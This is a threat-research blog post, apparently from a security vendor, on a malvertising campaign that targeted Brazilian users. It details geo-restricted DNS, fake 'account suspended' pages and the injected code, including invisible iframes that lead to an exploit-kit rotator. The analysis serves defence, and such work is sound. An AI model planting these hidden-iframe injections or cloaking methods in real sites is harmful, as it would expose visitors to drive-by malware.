Our models and manual investigations often uncover unlabeled domain names that are likely to be part of an infection chain – eventually leading to domains already known to be malicious.

During the first week of March, cdn11[.]net and cdn777[.]net were observed, before other domains, serving exploit kits.

Curiously, our DNS database didn’t have any information about these specific domains – and using a local DNS resolver offered no additional insight. The dnsws[.]net authoritative servers were apparently not answering any queries about these domain names.

Why were queries to these being observed over and over again?

Temporarily sinkholing these domains revealed that they were being loaded from a small set of compromised sites which people were redirected to via malvertising methods. Based on our research this was occurring primarily via Yahoo Ads.

Clients following this infection chain all had something in common: the user language. The user language, as specified by the Accept-Language header sent by web browsers, was Brazilian Portuguese (pt-BR).

Our friends @vmmello and @alexcpsec further reported that these domain names were actually resolving in Brazil.

Trying to access the URL observed in our sinkhole logs returned nothing but empty content. However, the same URL accessed from a client IP located in Brazil was serving something radically different.

In addition to some basic analytics code, this page included an iframe that ignited an exploit kit.

This campaign targeting Brazil was invisible to the rest of the world. A set of custom authoritative DNS servers was answering only some specific client IPs based on their geographical location. Also, the web server injecting the page with the malicious iframe was not answering clients outside of Brazil.

The first set of domains was taken down by the registrar. The bad guys shifted to a new set of domains immediately after, with winter-cdn[.]com being the first one we observed.

Browsing hxxp://www.winter-cdn.com, or the exact referrer displayed a page that simply read “This account has been suspended”.

Screen Shot 2014-03-27 at 7.39.40 PM

At first, it sounded like good news. We had hoped that the hosting provider had already closed the bad actor’s account. Sinkholing this domain revealed that the following chain was being used to reach the site:

Yahoo malvertising (targeting Brazil) -> www[.]soloinvite[.]com -> www[.]winter-cdn[.]net

As it happens, browsing www[.]soloinvite[.]com also displayed a “This account has been suspended” banner.

So far, so good. Unfortunately, in mapping the location of the requesting clients, Brazil was still clearly targeted:

Screen Shot 2014-03-27 at 4.55.06 PM

We tried to access these URLs using a popular VPN service that had a point of presence in Brazil. Unfortunately, all we got was the “this domain has been suspended” banner.

Case closed? Not quite yet. We decided to keep investigating.

Accessing the same URLs via the IP address of a residential ISP in Brazil returned noticeably different content:

Screen Shot 2014-03-26 at 3.01.04 PM

At face value, this would have been a totally benign web site. That is, of course, if it didn’t contain the following code:

function sendTest()
{
    var parameters = "";
    document.getElementById("banner").innerHTML="";
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("banner").innerHTML=xmlhttp.responseText;
        }
    }

    var a=Math.floor(Math.random()*11);
    var b=Math.floor(Math.random()*11);

    parameters = "a="+ b + "&b=" + b + "&c=" + (a+b);
    xmlhttp.open("POST","/ads/banner.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send(parameters);
}

setInterval(sendTest(),1000);

When loaded from a browser (instead of a web crawler) a fake banner is loaded. This looks like the following:

<iframe id="frmAdResell"
src="hxxp://www.winter-cdn.com/…" height=0 width=0
frameborder=0></iframe>

The content of this iframe was similar to what was previously observed. It contained some basic analytics as well as a rotator for the exploit kit code:

<iframe id="frmAdResell_24779" name="frmAdResell_24779" src="hxxp://iu6zb8663m7p45ce4i-be1.maxcredite.ru" frameborder="0" height=0 width=0 ></iframe>
<script type="text/javascript">
var sc_project=9455979;
var sc_invisible=1;
var sc_security="35c41416";
var scJsHost = (("https:" == document.location.protocol) ?
"https://secure." : "http://www.");
document.write("<sc"+"ript type='text/javascript' src='" +
scJsHost+
"statcounter.com/counter/counter.js'></"+"script>");
</script>

Malware authors constantly up their game to evade automated detection. This infection chain, however, also features deception techniques in order to confuse security researchers during manual investigations:

  • Custom authoritative DNS servers, only returning answers to a specific set of clients. Because we do not currently have a point of presence in Brazil, this fooled some of our generic detection models.
  • Domain names referring to a Content Delivery Network, which researchers are usually reluctant to block.
  • Fake mention of an account having been suspended, which suggests to researchers that the case has been closed and that no further investigation is needed. Connecting from one of the targeted networks is the only way to see the actual content.
  • VPNs with a presence in the targeted country do not necessarily reveal the real content either.

Unfortunately, these techniques appear to be quite successful, with only 1 other security vendor out of 51 having flagged some of these domains as malicious.

Screen Shot 2014-03-27 at 7.18.12 PM

This particular issue illustrates the need to explore and combine different techniques to successfully track malware. Also, continuous tweaking and improvement of methodologies, classifiers, and inspection capabilities is required to keep pace with the attackers.

This post is categorized in: